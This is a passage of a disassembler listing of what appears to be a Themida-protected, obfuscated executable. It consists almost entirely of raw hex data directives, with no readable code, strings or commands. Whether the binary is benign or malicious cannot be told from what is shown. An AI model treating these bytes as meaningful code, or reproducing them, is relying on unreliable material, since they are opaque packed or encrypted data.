9B86277Bh, 0D945477Ch, 43ACADB1h dd 7DF0ACCCh, 816172C2h, 0C43135C6h, 0D9C48076h, 9B80FE81h dd 850FFFFFh, 0FFFFFF7Ch, 0C4E28166h, 0C4E97Eh, 0F7020000h dd 9CD731C9h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h dd 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 2 dup(0) dd 0ECE90000h, 68000015h, 61A058Eh, 0FA7A92E9h, 69468FFh dd 88E9061Ah, 68FFFA7Ah, 61A077Fh, 0FA7A7EE9h, 8B668FFh dd 74E9061Ah, 68FFFA7Ah, 61A0947h, 0FA7A6AE9h, 0A1E68FFh dd 60E9061Ah, 68FFFA7Ah, 61A0AD1h, 0FA7A56E9h, 0B9E68FFh dd 4CE9061Ah, 68FFFA7Ah, 61A0C4Dh, 0FA7A42E9h, 0DC768FFh dd 38E9061Ah, 68FFFA7Ah, 61A0EE2h, 0FA7A2EE9h, 101668FFh dd 24E9061Ah, 68FFFA7Ah, 61A10DAh, 0FA7A1AE9h, 125068FFh dd 10E9061Ah, 68FFFA7Ah, 61A1379h, 0FA7A06E9h, 15C168FFh dd 0FCE9061Ah, 68FFFA79h, 61A16C6h, 0FA79F2E9h, 239C40FFh dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 0EBAC9298h dd 0C5C0580Bh, 0BD40175Eh, 2223467Eh, 9145507Fh, 65717E2Ah dd 0BA280456h, 0F1F7CE16h, 0D15FF002h, 0C8E32F88h, 1FB7B31Fh dd 51E4EAF0h, 0BF57E565h, 0C3A5EB97h, 48580644h, 7885318Ah dd 0C4AAB059h, 0D8580644h, 176C18B0h, 0DD4D575h, 83696F37h dd 97580645h, 7B4226Fh, 82D4035Bh, 909ACBC0h, 0F7C4F8D9h dd 0CAF27DFh, 41700860h, 37DBh, 4A17F200h, 0F9033287h dd 16A32E8Bh, 327A126Ah, 0E503692Ch, 0C70F3757h, 313F9FFh dd 4A275806h, 6B9A3287h, 2D9BB01h, 0C2E45806h, 0D65A0B80h dd 0CEA4F8D9h, 0BB000000h, 9442C412h, 8B237B27h, 0B805D2DFh dd 0E4D7FF0Ch, 0DD40C59Ch, 33E39521h, 24D0EDE6h, 2B339DCCh dd 0EA775D63h, 0AE8B51F1h, 8EE69227h, 8D2CA9F6h, 3883535Eh dd 0EEF4D0E6h, 795D51F1h, 0C313F042h, 0EFE3B0F8h, 27339DCCh dd 0C7CD15B9h, 57E5088Ch, 0E4C0123Ah, 0BBF0B76h, 8F5BF35Eh dd 7DA9AFF7h, 0D5DFAE6h, 7261A730h, 0AF479F4Bh, 0D502CF17h dd 1EB996E8h, 22CEEBEAh, 6AC98B0Bh, 0FC94B1F4h, 880E8664h dd 250F3894h, 132817h, 833CA000h, 3E7F5431h, 0F8C30FECh dd 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h, 411E7049h dd 0F9D62897h, 808CDEDDh, 0ED0CF2F8h, 2520580Bh, 874A17BEh dd 0FF2E8632h, 88DAE3F4h, 3E902BABh, 0F9A51385h, 2E8ABB1h dd 0D9B657E5h, 0BF17C3FAh, 53357B27h, 0D8580603h, 411BDFEh dd 0CB3DE9D2h, 0FFC62B67h, 0BF8CBDDDh, 0DDDEF414h, 0F441D931h dd 42AEDDDEh, 0F8D9D723h, 0D1DBh, 4F17F200h, 0F1E86349h dd 204F7751h, 4EFAC115h, 959A6F46h, 1BDFBD4Bh, 12F6E1ECh dd 374EFABFh, 0E3CDF514h, 98E57DB6h, 7BD37F40h, 15F137E3h dd 8351F23Bh, 0F39F1CB6h, 75616C9Bh, 0FB521A87h, 0C0585B58h dd 7645916Eh, 0A050BECAh, 0A8175258h, 6C4357E5h, 7FA2E6C1h dd 0D85C8B4Fh, 0D59168B0h, 2B71E58h, 65A7FE56h, 3C4C7B2Bh dd 64EF260h, 0FB7FE500h, 0E32B535Dh, 0AAFCC116h, 0D5B30ACDh dd 38937DC9h, 22707E68h, 0A6000012h, 5A378936h, 15F24479h dd 0CFACFEBDh, 8461B306h, 0DF186A53h, 0BD00D7D9h, 76438E6Bh dd 2E914724h, 0E4D7FFDCh, 0F8FE8692h, 580BEE12h, 12C42B26h dd 0D9B0F8C5h, 0C36B038Eh, 223261DDh, 5C759145h, 0C159B15Dh dd 0C412B66Fh, 0B70E3E38h, 428F0711h, 4A922A8Fh, 0C1967C82h dd 82AA51F2h, 0FADCE953h, 40926FC1h, 656B337Bh, 51F2C27Fh dd 0D23C6B93h, 58AA11C5h, 0C634E33Ah, 3D0AD21Ah, 0AFF32299h dd 57E5DB64h, 15690A32h, 0AF902D32h, 5CA44CBAh, 3CB7498Fh dd 0D23CB5D7h, 0A7ADDC74h, 843A6AA1h, 0B0F82055h, 341A20E8h dd 4855A53Bh, 3AB49A20h, 0A0C855A5h, 32FF0771h, 176F1BA0h dd 0B70DEE8h, 0EC44F0CBh, 39060C54h, 0B5B99BCh, 8CE9BE3h dd 0B28961B3h, 6BE7F07Ah, 0CFDA0916h, 0D2D6B407h, 733AF41Fh dd 11377B89h, 4B910000h, 8E452274h, 0D200DD2Fh, 1BBA97E9h dd 686F4C9Eh, 0EECA0355h, 56A815C2h, 0F615879h, 0C719A632h dd 7DCFECEAh, 0FDE3E971h, 11580BEEh, 0C412AF16h, 0D13F4BF7h dd 0BB18E52Dh, 0C7CDD302h, 57E51588h, 0ECC4163Eh, 0D403B61Fh dd 6CB45CCAh, 0F940F766h, 39E50D5Dh, 1A2211F3h, 58FA1C5Eh dd 5FE5D2A9h, 0A9AB09C6h, 9A46775Ch, 0BEA71342h, 40F2C57Bh dd 4Dh, 784F1757h, 7A925651h, 0FAE066E4h, 0E51F2E2h, 1E668FE6h dd 9EA106BFh, 47F7656Fh, 0D48EF9FFh, 749C57E5h, 96795F2Ch dd 6B5AA90h, 0FE96BE58h, 0B5B296ACh, 9B3B5806h, 0E7F1CE20h dd 4D242CD8h, 0C73A9267h, 28346342h, 1075h, 44A5137Fh dd 29812D8Eh, 0B4814991h, 95ED9922h, 0EAC62266h, 8EB657EBh dd 5D5C7946h, 242A59B1h, 0EA3C7F57h, 2B924512h, 0EDF8277Fh dd 1A26D2E9h, 0E5BC04ACh, 77742E9Dh, 2083723h, 5EB5BFCh dd 75BDE55Eh, 0D7DD2EA8h, 5E25EAF1h, 0FD45DD05h, 7860A630h dd 0AB03AF47h, 478F6C7Ch, 4EBCC874h, 0F5545AA2h, 0EB641913h dd 0E9CDE5C3h, 0A28C3276h, 100094h, 0AB14C800h, 66577C59h dd 209B3714h, 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh dd 69469821h, 21FE506Fh, 0A8B406B5h, 0F0341A20h, 4D48580Bh dd 0E7F7D9E6h, 0F7D51F1h, 5811175Fh, 8057EBEBh, 0EBE61EB3h dd 738A36CEh, 6CEAEDFBh, 45740CDAh, 7A5199C1h, 4FCD1FFh dd 0D9E4EF01h, 0D8E1F441h, 0D6A3A9h, 0C49169BBh, 6F7AA912h dd 9CA85467h, 723A822Eh, 10D2D19Bh, 76C37023h, 0EA2E5D62h dd 5DFFE4ABh, 615B3961h, 0C389019h, 0F6F1422h, 83590000h dd 0C60DEA3Ch, 0AC8A5F7h, 53825FB1h, 0A0371466h, 2692CB1Dh dd 1E704D8Ah, 0D7299041h, 8FE1DEFAh, 459724B2h, 0C5ABB139h dd 0D9580BF0h, 0C41277DEh, 983E4BF7h, 0C30EDB23h, 902FA9F6h dd 0E8EAF761h, 0B91A27D3h, 82E65804h, 15A62CC0h, 7111257Dh dd 0CF2F8C0h, 9E51F1E8h, 0F1E7B298h, 0D89EC651h, 501581B0h dd 0AEFEEDEDh, 90Ch, 8D4A17C5h, 116D8430h, 275FD09Eh, 0F6002FC7h dd 8A90D888h, 57ECA5D4h, 21983906h, 89B801D4h, 0C895DD05h dd 8E65AD0Eh, 7EC43E1Fh, 8F9FCEC6h, 4F9724B2h, 19B8187h dd 87AF580Ch, 0C6A8EE58h, 4C580C01h, 22CD73DEh, 26D321Ch dd 0CDA16FCh, 6A022A58h, 45848AD2h, 0FB5E0007h, 0F6D1F5D3h dd 0C6B0388Fh, 0E98B8h, 13AC3000h, 0CEEFE4C1h, 88339F7Ch dd 3D7C5936h, 0F4C90EEBh, 614F69A2h, 18F54776h, 0D1AE00B9h dd 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Bh, 0F7C4124Eh dd 23983E4Bh, 0F4B5F77h, 0EDEDD194h, 0FDC58DFEh, 0F1F011F7h dd 77FD2551h, 51F1EF91h, 0E1C7CDA5h, 0F551F1EFh, 0A00635CDh dd 844h, 0E7F7D9B7h, 0F7D51F1h, 494F175Fh, 51F1E863h, 1A204F77h dd 6E4D8552h, 0EB05FB3Fh, 113957EBh, 15FB01C9h, 29580BEBh dd 87338C4Ch, 6268972Fh, 287A4195h, 84308B4Bh, 27B10A78h dd 0FC94EC98h, 186FAEB4h, 0FD255DFFh, 90E5B11Fh, 0ECFAE438h dd 0DE5h, 74C6F9E3h, 2F813C97h, 0E93B8052h, 9EF0C90Ch dd 55A716C1h, 0C3149C1Ch, 6CBA8FAh, 548461B3h, 9A3C196Bh dd 3BC3CF21h, 0BF24F35h, 1686358h, 4BF7C412h, 7723983Eh dd 3B9C6E6Ah, 313EEA82h, 136B17A6h, 0F4FA0FC6h, 51F1E80Eh dd 0B662FA22h, 0EFAD169Fh, 0B96BA335h, 5CB43555h, 0D4910A48h dd 8AFEED6Dh, 6FD6BCC2h, 0C2EA51F2h, 2E5D5C75h, 77BC8h dd 0A513DF00h, 90ABB1F9h, 0FE57EBEAh, 15C18ED6h, 0E4EDFAA6h dd 0E2F03DD5h, 0A6D52DD9h, 0B803D3A0h, 6E4D8966h, 0EA9A7CC2h dd 0B220580Bh, 0AA427959h, 3D18B62h, 94EB0C30h dd 1A595F65h, 4E5DFFD0h, 136A5181h, 8AFA4F2Bh, 73F7262Dh dd 46D6D4Bh, 523C3890h, 0D1844h, 932CB000h, 4E6F6441h dd 8B31FFCh, 0BDFCD9B6h, 74498E6Bh, 0E1CFE922h, 9875C7F6h dd 512E8039h, 9E63887h, 909CEECDh, 0F31C0208h, 3530580Bh dd 47C412CEh, 0F1E85B41h, 0AF476F51h, 1CE0F603h, 5E433AE2h dd 37A1EE29h, 2C44F088h, 4617A18h, 0FAFEECF5h, 6CCh, 0E7F2D911h dd 148251F1h, 261E246Ch, 4E57EBEBh, 0BD556471h, 0F6E0AD75h dd 4B8B96C5h, 51512870h, 42FE1051h, 0CAA7B7E6h, 0FB03AF0Ch dd 5D63A82Eh, 580C8577h, 1FCB638Bh, 208E98C7h, 7A5B2870h dd 0C3B933Fh, 0D0D10006h, 3F675DFFh, 902D8361h, 42503A38h dd 0C69h, 0F0427D5Fh, 0ABFDC013h, 65B704CEh, 1A6C4D88h dd 0D1239A3Dh, 47902098h, 8A472476h, 0D800DD2Fh, 1EB895E7h dd 0B73F4B9Dh, 0BF3CBB1h, 7DE4DF58h, 63494F17h, 7751F1E8h dd 0C115204Fh, 95414EFAh, 0E78A7076h, 769E51F1h, 5CC032DEh dd 983E0B3Eh, 686A7723h, 0B74FA753h, 0AD597D88h, 0A7F99128h dd 0EDF1FC69h, 17502FEh, 2DFA0000h, 0FCE312A9h, 308D4A17h dd 0F2FD2C84h, 3B2127E4h, 4F51F1E8h, 0D6E38F27h, 0ECD10600h dd 0FE50E840h, 0C40CB422h, 0E5392BBEh, 1CBC9957h, 0F6C30BA3h dd 13A62BDDh, 48770F67h, 80ED6DEh, 58061922h, 0C0C60E36h dd 580618DAh, 5397C6EEh, 58061971h, 2EDADFF6h, 5F0BB221h dd 0C72A680Ah, 27BCDE00h, 0F8D9BD3Eh, 3DC0h, 0A513D700h dd 21E9B1F9h, 0B73D7E54h, 51F1E7D1h, 21070DE5h, 3551F1E8h dd 246750Dh, 57E5033Fh, 492F350Dh, 5D580603h, 0ABF19D35h dd 580602C9h, 0FB90B2D4h, 0F8D9D66Ah, 0AC94h, 0C412AB00h dd 993E4BF7h, 6B6B7824h, 0AE310850h, 0A9833B66h, 8088F221h dd 0ED9924B3h, 7B5B6695h, 0ECD8EE40h, 7551F1BBh, 8A31A561h dd 9A3986DEh, 6C438B23h, 0D9FEC31Dh, 0AABAE9D5h, 68B060CEh dd 0E6EFC962h, 7D563357h, 9860A840h, 4B00BCBh, 65727DACh dd 93431058h, 0CE9F928h, 0DA14F2CBh, 0F73EA80Fh, 0AEFFF0Dh dd 3D90000h, 468D6ABCh, 8A482577h, 0D302DF31h, 20B794E6h dd 0A6124B9Dh, 9EF0CD0Ah, 57A910C1h, 0F615E7Ah, 0C517A432h dd 452B31B9h, 59580BF5h, 0C512F75Eh, 1CEA6F8h, 0E33BE7D6h dd 0D92DA9B4h, 0D628C0FFh, 42C4121Dh, 0E8942C91h, 78C0FBDBh dd 0E5912CABh, 10BCFDD8h, 2D320B8h, 84B30BB7h, 4969674h dd 13ED0000h, 299244A5h, 458D257Dh, 0E5DEB57Dh, 7995BE65h dd 40C1A72Dh, 0ADD551F2h, 1B4A7360h, 0E644F8D7h, 1AC6EE57h dd 644F2D4h, 0BFDBFD58h, 0D9954124h, 201BDF8h, 0E8B50000h dd 1C24D0E9h, 6513016h, 841C4458h, 0E0D96E55h, 8851F1E7h dd 74A316BBh, 379FFC6Ah, 0DCA4EC84h, 0F1E7F0D6h, 0ADDC0451h dd 0EAA3A1A7h, 0AFD757EBh, 0D13E9A67h, 0BEAE5CBh, 39D1F958h dd 743C040Ah, 0BEB886Eh, 0FFBE1558h, 0D7E21139h, 0EBCE07FFh dd 0FD4FE73Fh, 5905B620h, 0B70DF4Dh, 5E6DDCE5h, 652D750Dh dd 0D17D3E98h, 0D7064A79h, 6D5DFFB9h, 44916745h, 6A543890h dd 9D45Ch, 0D7E8F400h, 922BA885h, 4C6F6340h, 1B81DFAh dd 0B805D2AFh, 258B2D66h, 0DCB90BB2h, 9572C4F5h, 4D2A7C43h dd 0D4E03289h, 0F660464Ch, 7974580Bh, 0B4401712h, 59254D23h dd 9E1F050Bh, 0B3351F2h, 9D394473h, 46107F5Fh, 90287088h dd 0BCFFD7E4h, 183A9E10h, 77C9F2E4h, 0B906D29Fh, 1A86B50Dh dd 0FEEDA24Bh, 11AB3h, 4A17CA00h, 0ECE73489h, 9ECD25D1h dd 0CC784393h, 52A417BFh, 10580876h, 0E539770Ah, 11BDE557h dd 618E9CBh, 0B0D2F458h, 0D9BC4A1Bh, 3BB4F8h, 13CB0000h dd 0E9B1F9A5h, 0D403BC1Ch, 0E502CD90h, 874C1957h, 0B01F3177h dd 0A63E69E6h, 1FCBF377h, 61EF7D9h, 642C0258h, 61F785Eh dd 35648C58h, 392CA7E3h, 0C5F8D9BBh, 9Ah, 0F7C412DCh, 10C0D8AFh dd 0A83518A1h, 0D5020F79h, 0A72F3CE8h, 7B5B6814h, 0DCD8EE40h dd 8551F224h, 3C186A51h, 12DA22CEh, 7E2A9145h, 1AB3F726h dd 8457E7DAh, 844C145Ch, 9B8987Eh, 0AB12558h, 1840065Eh dd 0C4F9DEE9h, 0A8C39A72h, 8E5A3916h, 3B9CA7D6h, 905EA482h dd 0B19B3EA7h, 8A0A3h, 0BB42800h, 0C6F7DCB9h, 803B9774h dd 3584512Eh, 0ECD106E3h, 5957619Ah, 10ED3F7Eh, 0C9A6F8C1h dd 815EB00Fh, 8146655h, 0F7947A80h, 0ADA8580Bh, 0F8C51246h dd 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 65F3D123h, 2B000002h dd 9844795Eh, 132A1140h, 0ABB1F9A5h, 57EBEA53h, 2167133Bh dd 580BEB3Fh, 0FFAB14C4h, 2DD9E6F2h, 951436D8h, 0F5EEACCEh dd 0F8D3EE70h, 2178Eh, 0E0D9A500h, 8451F1E7h, 1C226A16h dd 57EBEADCh, 67347CA4h, 1DFA4C6Fh, 4E5602B9h, 3C6B5281h dd 0D41CC432h, 0FF379FCEh, 74DCB35Dh, 0DD7735D4h, 19F67AA9h dd 0FA52FEBDh, 1C6ACB2h, 0B2DA5E20h, 0DCD03C1Ah, 533D3890h dd 7DC45h, 0CFF0EC00h, 8A33A07Dh, 44775B38h, 0F9C015F2h dd 0B00DCAA7h, 1D93255Eh, 0D4B103BAh, 8D6ABCFDh, 4522744Bh dd 0CCD82A91h, 0F8583E44h, 716C580Bh, 0F7C4120Ah, 5D76434Bh dd 2D5CB460h, 0BF07B422h, 0ACDBE0F2h, 0EBB8D042h, 1825D1ECh dd 206800B9h, 0F1E8341Ah, 0F1204851h, 8D49E39Fh, 0C79EDC2Eh dd 97FEEDF1h, 0F3E3C9CFh, 0CFF751F1h, 15A3AA0h, 12510000h dd 3E4BF7C4h, 0F9D12398h, 765FA52Ch, 727CAB43h, 0E145C04h dd 57E5397Bh, 0B3999F67h, 0C7580618h, 0FEC709Fh, 0B15DF5C8h dd 619896Bh, 0F4C90E58h, 209B3B48h, 0FC9E0274h, 1961474Dh dd 4D755806h, 8ECCEEB5h, 0D9BC5015h, 44AEF8h, 13C50000h dd 0ABB1F9A5h, 57E502E8h, 3A4C5D34h, 258A8B15h, 9E4A72F6h dd 6517658h, 21DBFB58h, 0F37A79AFh, 6B17AF8Fh, 9B47745Eh dd 47A78D93h, 93BB5806h, 0D8D979DDh, 3853EF11h, 0F8D9922Dh dd 0B9D1h, 0C412E800h, 993E4BF7h, 0A57626Fh, 0AC58F0CDh dd 0BE01D7A4h, 808BBA12h, 2595A656h, 0B311EF6Eh, 74626F1Bh dd 0D3DFF547h, 9C51F251h, 532F813Ah, 0EBF139E5h, 57E82752h dd 0C6F9DFBCh, 0F2C90D1Ah, 956EE46h, 0E56EECDh, 0DF279641h dd 72B1117h, 173F580Ah, 0DCFBD8E8h, 967AB522h, 73AE2D75h dd 1458AF31h, 16F48C49h, 3EA65100h, 66293721h, 62000006h dd 16F3457Ah, 0D1AE00BDh, 8B68BA01h, 401D6F4Ah, 9BD42697h dd 7944931Dh, 32874A27h, 0EAD503E0h, 0A01BBB98h, 0B4BA424Eh dd 580BF9CEh, 1280E7E2h, 0C9A6F8C5h, 12F8FE0Dh, 9F51F1E8h dd 0E2BF8538h, 972FC7F4h, 0C4128C45h, 983E4BF7h, 1DF3D123h dd 4A000000h, 4638C412h, 2C2A1F06h, 697622BAh, 2CA24E6Dh dd 64728AC8h, 1B270557h, 7E000000h, 45674017h, 0C647FE00h dd 714A8C97h, 829C7FC5h, 62A51F2h, 9526B044h, 0C4128A43h dd 0D13F4BF7h, 501DE52Dh, 7C893586h, 5CB46059h, 0F55195C4h dd 6357EBEAh, 0EBAF959Bh, 3B41580Bh, 580BEC55h, 537B4169h dd 3078A024h, 487363h, 0EE1DA033h, 0E6D501DEh, 0BB02D19Eh dd 1E88B70Fh, 0B4FCA412h, 89E1B8DDh, 2C79E05Fh, 0DFE514A5h dd 6AA38D9h, 529AC25Eh, 0A1B0B38Ah, 7925983Bh, 5CDCCA21h dd 13A62F7Ch, 0D5E00F67h, 9068BA01h, 7BAA15C3h, 33A06670h dd 0E2AAF28Ah, 26A3F6DCh, 0B3E20A5Eh, 1FCF3D49h, 0CC72D1D7h dd 40686419h, 7631BE62h, 7F8D7732h, 53Dh, 1C6E518Bh dd 0D729943Fh, 91E3D8FAh, 469821B4h, 0FD4F6E69h, 1BBCF4C4h dd 5E7350A2h, 0AC2C095Bh, 0F2E4C113h, 0E36B77C9h, 0BFAF7DDh dd 0A9100B58h, 0A5F7C412h, 373D05CDh, 51F1E851h, 0D1B73D65h dd 0E551F1E7h, 53838EBDh, 27AFBC68h, 1B8B46D5h, 266EF94Eh dd 0F2703A20h, 8E264E51h, 4E0C70E2h, 499B20B6h, 6CEE9A71h dd 0CC746C4Bh, 0BB67527Fh, 9DC83463h, 0C1FEED7Dh, 0AA28DEF4h dd 0E44A7911h, 74h, 0F9A513FBh, 0BB1CE9B1h, 9E1DB502h dd 54C02B6Fh, 0A6CE57E5h, 7847915Eh, 7C626830h, 90580636h dd 51293968h, 0C16D4E84h, 2BB1C69h, 8BCFFE56h, 580635A7h dd 9D56A630h, 467760D6h, 0ADEB429Ah, 7CF44BA9h, 0E0C56DE1h dd 14F143DBh, 0EBB3FBC4h, 5905BA1Eh, 67957B01h, 0D1A95806h dd 667E5CBh, 39D1F958h, 6805EBF1h, 0F1195806h, 464A58C2h dd 0A1000004h, 9542C412h, 0BF576273h, 3064BB13h, 0A0A411B8h dd 0F300AC44h, 761819E3h, 3CFCE2E8h, 0E81051F2h, 0D7850A91h dd 0C57B6DBAh, 0B34BE39Bh, 84399E6Bh, 415180D8h, 4492F765h dd 2673CB77h, 307810ADh, 0E5B4972Ah, 0AF280557h, 720A620Eh dd 939E80C6h, 0B5235806h, 85515E0Ah, 7C828A36h, 58069396h dd 82C82AAh, 7EA0674Ah, 419EC7DCh, 3F60F8D9h, 58000000h dd 0B6E02B81h, 8EBDA465h, 49A513A7h, 0F1E85D43h, 0B1497151h dd 3A06369h, 15EC57E5h, 0FE36ABFBh, 7F0332C5h, 0E08C31A2h dd 0FE44F088h, 5806821Ch, 4E450527h, 0F8D95817h, 0E9E7h dd 0C412FE00h, 907DD738h, 4AE2A8C2h, 7746919Eh, 0E2F6C3CBh dd 740CAD28h, 1F9C3A45h, 4B706673h, 6507E3F9h, 0AD7551F2h dd 0F264C1A7h, 7EADD551h, 6586373h, 0C14FAD29h, 0AC91A0F1h dd 7A519931h, 17E33806h, 0C5DCF632h, 483B7DD4h, 0A98DC8C6h dd 0C65E3842h, 0B3212D97h, 76438E5Bh, 0F2BF0AF0h, 5EF61E51h dd 106D1016h, 0D3FB57E6h, 8737A581h, 0BAA0773Fh, 698B8B56h dd 33B6FA29h, 815DFC47h, 93441159h, 0DCFBD82Ah, 735EAC2Ch dd 0AA429A46h, 0AF47765Dh, 92B859D1h, 0F806F038h, 2F5h dd 64B609D3h, 1F714C87h, 0D92B9042h, 8EE0D9FCh, 459726B1h dd 0D304AC0Ch, 16BB98EAh, 647451A3h, 0AA2C095Bh, 2BB3BF11h dd 0BFD3F25h, 0F1585358h, 0B0F8C512h, 0ACD411E8h, 8C7C1415h dd 0F2AB2006h, 0DD0C3451h, 0D5E6F0CDh, 0A513CA83h, 0F3DAB1F9h dd 0C4B5B02Fh, 0B2B8BEEDh, 57E51EEFh, 0A3E995BDh, 58061EC1h dd 0F3E8AACCh, 0F8D9BA72h, 0E78Ch, 0C412A300h, 0F3E2AFF7h dd 63FBC211h, 1ABDCA34h, 18EFF7A3h, 803F9EE6h, 0D2D82098h dd 51F22EECh, 65A9D800h, 51F23489h, 43292FF7h, 5751F234h dd 0E1F5002Fh, 5BB92DAh, 7EDF354h, 1B51F1FBh, 2FA49CF3h dd 28051544h, 59610DAEh, 4574458Ch, 0D921CD3Bh, 0E5F030D3h dd 4496BE57h, 85389F6Ch, 485281D9h, 9A8086DAh, 0AE5806CFh dd 0A0A6EE86h, 5DFBA37Ch, 0CF9CE40Ch, 8663B508h, 0E6EFBC51h dd 84674DD3h, 537B5E1Dh, 5A57DDBBh, 1C063893h, 1F00Eh dd 0BB04D800h, 76478C69h, 308B4724h, 0E5D401DEh, 9C21B693h dd 9A7114Ah, 0C09DEFCEh, 7956A811h, 310E605Fh, 0B8C416A5h dd 0FE442A30h, 5D58580Bh, 48C512F6h, 0F1E85C42h, 487051h dd 0F1E814FAh, 68002851h, 70763E16h, 51F1E78Ah, 3C47769Eh dd 16CF219Ah, 34894A17h, 22CEF1E7h, 46909BCAh, 77602D75h dd 0A0AD1746h, 56338536h, 838F3B80h, 1B216915h, 57E50830h dd 156A163Eh, 0BF1F7BFh, 1F580608h, 0D476C8F7h, 0B305B620h dd 0F6C30EDBh, 0B9C3F24Ah, 935BA34Bh, 0DDF90BC6h, 42DA32DEh dd 0DD3E7F96h, 27B089C7h, 0F91C608Fh, 55DF964h, 4551373Dh dd 3D655E1Ah, 4509EFF5h, 0F51D5E1Ah, 6E1A42C6h, 0FE467561h dd 454A3036h, 365E5E1Ah, 0C3279D07h, 0A0006E87h, 36BCFFD3h dd 5E1A4550h, 1C7F6DDh, 0A58B91D9h, 0B95E1A44h, 0ABB1F991h dd 640D9188h, 0BF9CEE16h, 0EBF8A417h, 0BD8AD2EDh, 8EEF41Bh dd 1C642E72h, 0C32D5CF4h, 0F19D22B6h, 1DC9F2E4h, 42A7E307h dd 0B54F0BADh, 6C489A21h, 0B69CA2FEh, 0CA642E71h, 39D1E8EDh dd 685359A1h, 766A2192h, 0A2D1498Fh, 0D6308734h, 0AB64E54h dd 8E862B02h, 7C769367h, 9AC9615Ah, 0C874478Fh, 7CB1D173h dd 141A620Eh, 70351929h, 0DE5D5037h, 3A496606h, 8C925AA2h dd 70567FA6h, 536392BAh, 9623AE7Bh, 80EF5D67h, 7A594488h dd 165EF647h, 508C6310h, 21CDF576h, 0A7F9C214h, 0DCFA0CCAh dd 559B47DFh, 8E249B78h, 3C95627Ah, 4A79D17Dh, 34A25AF8h dd 7E583587h, 5184913Dh, 95492068h, 78997471h, 0D5BBC109h dd 0E9AE446Fh, 0D32892C1h, 0FBDB1131h, 0A5A178C0h, 77448E16h dd 0DF1C73CBh, 0A0B0DF15h, 0E2DDFBC8h, 0A4AFDE36h, 0CFDD8932h dd 0Dh, 965EE426h, 0F1E7AA90h, 6796BE51h, 0F5CA1280h, 219A3C49h dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch dd 33884A57h, 64597A87h, 545333B8h, 4C3815Bh, 83000000h dd 1C8704EBh, 72685C24h, 89000030h, 0ED682404h, 89000067h dd 1AB8242Ch, 2D4E743Bh, 77AD6F96h, 5A34902Dh, 51D8F706h dd 0B05030B9h, 7E18137h, 0C10A353Fh, 0F18104E9h, 74CA151Bh dd 4B9AE981h, 0C18157E4h, 46AB636h, 3559C831h, 2C223986h dd 0C42A0F2Dh, 2C8B541Ch, 4C48324h, 8BA52h, 0EA010000h dd 5A028F50h, 51242C8Bh, 0C181E189h, 4, 8704C183h, 0FF5C240Ch dd 81582434h, 4C4h, 64B1E900h, 0B805FFFAh, 61A18DBh, 0E0FFC503h dd 672C4719h, 3A1F4CA8h, 75660534h, 36420B5Eh, 43B539AAh dd 2A2348BFh, 4E898492h, 607EF05Fh, 6CE16E0h, 7DEB4891h dd 533F6E22h, 5562237Ch, 59ABB19Ch, 782B67EAh, 7B6EAB1Ch dd 6796E4E9h, 3E4FB4E0h, 272F62BBh, 6F0A58D2h, 1C7C85EAh dd 71F145F2h, 1EC9F837h, 6345EF91h, 4E30034Fh, 7BAD894Fh dd 760C5B9Dh, 231F7383h, 44ADC527h, 0CE8h, 2787EF00h, 0EE0C6812h dd 56FCBB8Ah, 79ACB9EDh, 665B5A88h, 2B22C181h, 5D3EC381h dd 0CE90000h, 0A0000000h, 0C2EC8531h, 5E89394Bh, 68C37765h dd 1722h, 605F5851h, 5A585050h, 0CE8h, 403A6C00h, 957F52E4h dd 0F83CB7E0h, 0FF615B9Eh, 66C28133h, 5E010AC4h, 14E952h dd 0C45C0000h, 47FF1DAAh, 567EF4AEh, 0A55A762Fh, 0D05BC954h dd 81586A67h, 31258C6h, 81E38A14h, 0D71859C6h, 1CF68134h dd 0E9666FB8h, 0Bh, 0E54E7318h, 0A14268E8h, 8942106Ah dd 0C9816633h, 0EB83AD33h, 6820F04h, 81000000h, 690EBFE0h dd 1EF830Eh, 0FF99850Fh db 2 dup(0FFh), 0B8h byte_5AA683 db 22h ; DATA XREF: Themida_:0054A1D0o dd 0E9731D73h, 0A6h, 2DDE3979h, 0BAF5CC47h, 66D138F3h dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h, 729EBD8Ch dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h, 94A19E96h dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh dd 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h, 0B1B6D000h dd 527155C3h, 0DA43700h, 910D3C2h, 0Eh, 9 dup(0) dd 6BE90000h, 6800000Fh, 61A1D10h, 0FA62BEE9h, 1E2368FFh dd 0B4E9061Ah, 68FFFA62h, 61A1EDEh, 0FA62AAE9h, 201168FFh dd 0A0E9061Ah, 68FFFA62h, 61A20A6h, 0FA6296E9h, 216568FFh dd 8CE9061Ah, 68FFFA62h, 61A2207h, 0FA6282E9h, 22A168FFh dd 78E9061Ah, 68FFFA62h, 61A2330h, 0FA626EE9h, 23F268FFh dd 64E9061Ah, 68FFFA62h, 61A24B0h, 0FA625AE9h, 260F68FFh dd 50E9061Ah, 68FFFA62h, 61A2845h, 0FA6246E9h, 296D68FFh dd 3CE9061Ah, 0F6FFFA62h, 0AA87D9E6h, 65429429h, 